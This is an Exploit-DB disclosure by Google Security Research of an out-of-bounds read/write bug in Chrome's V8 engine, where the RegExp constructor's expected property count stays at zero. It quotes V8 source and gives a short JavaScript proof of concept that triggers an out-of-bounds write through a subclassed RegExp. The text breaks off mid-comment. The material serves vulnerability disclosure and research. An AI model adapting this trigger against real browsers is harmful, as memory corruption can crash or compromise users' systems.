Exploit-DB #44395
Description: Google Chrome V8 - 'Genesis::InitializeGlobal' Out-of-Bounds Read/Write
Type: dos
Platform: multiple
Date: 2018-04-03
Author: Google Security Research

Exploit:
/*
Bug:
The Genesis::InitializeGlobal method initializes the constructor of RegExp as follows:
    // Builtin functions for RegExp.prototype.
    Handle<JSFunction> regexp_fun = InstallFunction(
        global, "RegExp", JS_REGEXP_TYPE,
        JSRegExp::kSize + JSRegExp::kInObjectFieldCount * kPointerSize,
        JSRegExp::kInObjectFieldCount, factory->the_hole_value(),
        Builtins::kRegExpConstructor);
    InstallWithIntrinsicDefaultProto(isolate, regexp_fun,
                                     Context::REGEXP_FUNCTION_INDEX);

    Handle<SharedFunctionInfo> shared(regexp_fun->shared(), isolate);
    shared->SetConstructStub(*BUILTIN_CODE(isolate, JSBuiltinsConstructStub));
    shared->set_instance_class_name(isolate->heap()->RegExp_string());
    shared->set_internal_formal_parameter_count(2);
    shared->set_length(2);

    ...

I think "shared->expected_nof_properties()" should be the same as JSRegExp::kInObjectFieldCount. But it doesn't set "expected_nof_properties", it remains 0.

There are other constructors that don't set "expected_nof_properties", but RegExp was the only useable constructor to exploit.

Exploit:
This can affect JSFunction::GetDerivedMap, which is used to create or get a Map object for the given constructor and "new.target", to incorrectly compute the number of in-object properties.

Here's a snippet of the method.
(https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=0c287882ea233f299a91f6b72b56d8faaecf52c0&l=12966)

MaybeHandle<Map> JSFunction::GetDerivedMap(Isolate* isolate,
                                           Handle<JSFunction> constructor,
                                           Handle<JSReceiver> new_target) {
  ...
  // Fast case, new.target is a subclass of constructor. The map is cacheable
  // (and may already have been cached). new.target.prototype is guaranteed to
  // be a JSReceiver.
  if (new_target->IsJSFunction()) {
    Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);
    ...

    // Create a new map with the size and number of in-object properties
    // suggested by |function|.

    // Link initial map and constructor function if the new.target is actually a
    // subclass constructor.
    if (IsDerivedConstructor(function->shared()->kind())) {
      Handle<Object> prototype(function->instance_prototype(), isolate);
      InstanceType instance_type = constructor_initial_map->instance_type();
      DCHECK(CanSubclassHaveInobjectProperties(instance_type));
      int embedder_fields =
          JSObject::GetEmbedderFieldCount(*constructor_initial_map);
      int pre_allocated = constructor_initial_map->GetInObjectProperties() -
                          constructor_initial_map->UnusedPropertyFields();
      int instance_size;
      int in_object_properties;
      CalculateInstanceSizeForDerivedClass(function, instance_type,
                                           embedder_fields, &instance_size,
                                           &in_object_properties);

      int unused_property_fields = in_object_properties - pre_allocated;
      Handle<Map> map =
          Map::CopyInitialMap(constructor_initial_map, instance_size,
                              in_object_properties, unused_property_fields);
      ...
      return map;
    }
  }

"unused_property_fields" is obtained by subtracting "pre_allocated" from "in_object_properties". And "in_object_properties" is obtained by adding the number of properties of "new_target" and its all super constructors using CalculateInstanceSizeForDerivedClass.

Here's CalculateInstanceSizeForDerivedClass.

void JSFunction::CalculateInstanceSizeForDerivedClass(
    Handle<JSFunction> function, InstanceType instance_type,
    int requested_embedder_fields, int* instance_size,
    int* in_object_properties) {
  Isolate* isolate = function->GetIsolate();
  int expected_nof_properties = 0;
  for (PrototypeIterator iter(isolate, function, kStartAtReceiver);
       !iter.IsAtEnd(); iter.Advance()) {
    Handle<JSReceiver> current =
        PrototypeIterator::GetCurrent<JSReceiver>(iter);
    if (!current->IsJSFunction()) break;
    Handle<JSFunction> func(Handle<JSFunction>::cast(current));
    // The super constructor should be compiled for the number of expected
    // properties to be available.
    Handle<SharedFunctionInfo> shared(func->shared());
    if (shared->is_compiled() ||
        Compiler::Compile(func, Compiler::CLEAR_EXCEPTION)) {
      DCHECK(shared->is_compiled());
      expected_nof_properties += shared->expected_nof_properties();
    }
    if (!IsDerivedConstructor(shared->kind())) {
      break;
    }
  }
  CalculateInstanceSizeHelper(instance_type, true, requested_embedder_fields,
                              expected_nof_properties, instance_size,
                              in_object_properties);
}

It iterates over all the super constructors, and sums each constructor's "expected_nof_properties()".

If it fails to compile the constructor using Compiler::Compile due to somthing like a syntax error, it just clears the exception, and skips to the next iteration (Should this also count as a bug?).

So using these, we can make "pre_allocated" higher than "in_object_properties" which may lead to OOB reads/writes.

PoC:
*/

function gc() {
    for (let i = 0; i < 20; i++)
        new ArrayBuffer(0x2000000);
}

class Derived extends RegExp {
    constructor(a) {
        const a = 1;  // syntax error, Derived->expected_nof_properties() skipped
    }
}

let o = Reflect.construct(RegExp, [], Derived);
o.lastIndex = 0x1234;  // OOB write

gc();

/*
  int pre_allocated = constructor_initial_map->GetInObjectProperties() -  // 1
                      constructor_initial_map->UnusedPropertyFields();    // 0
  int instance_size;
  int in_object_properties;
  CalculateInstanceSizeForDerivedClass(function, instance_type,